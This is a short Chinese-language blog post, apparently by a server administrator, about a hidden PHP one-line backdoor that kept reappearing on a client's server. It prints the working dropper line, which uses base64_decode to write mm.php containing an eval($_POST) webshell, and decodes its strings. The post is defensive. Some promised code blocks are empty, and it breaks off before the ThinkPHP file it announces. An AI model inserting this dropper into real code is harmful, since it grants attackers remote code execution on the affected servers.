PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入一句话后门，删除了还有，原来在程序中加入了如下代码，大家可以注意下base64_decode函数的参数。

今天一个客户的服务器频繁被写入：
mm.php
内容为：
代码如下:


最后查到某文件内的第一行为以下代码：
代码如下:
fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="));
base64_decode("bW0ucGhw") //mm.php
base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //


这样，只要这些文件被访问就会自动创建 mm.php
如果你发现了mm.php，删除了，以后还会再有的，真是越来越变态了~
下以相关内容
代码如下:
PD9ldmFs //base64_encode("ZXZhbA== //base64_encode("eval");

还发现一个ThinkPHP框架—sgcms的相密文件，内容以下：
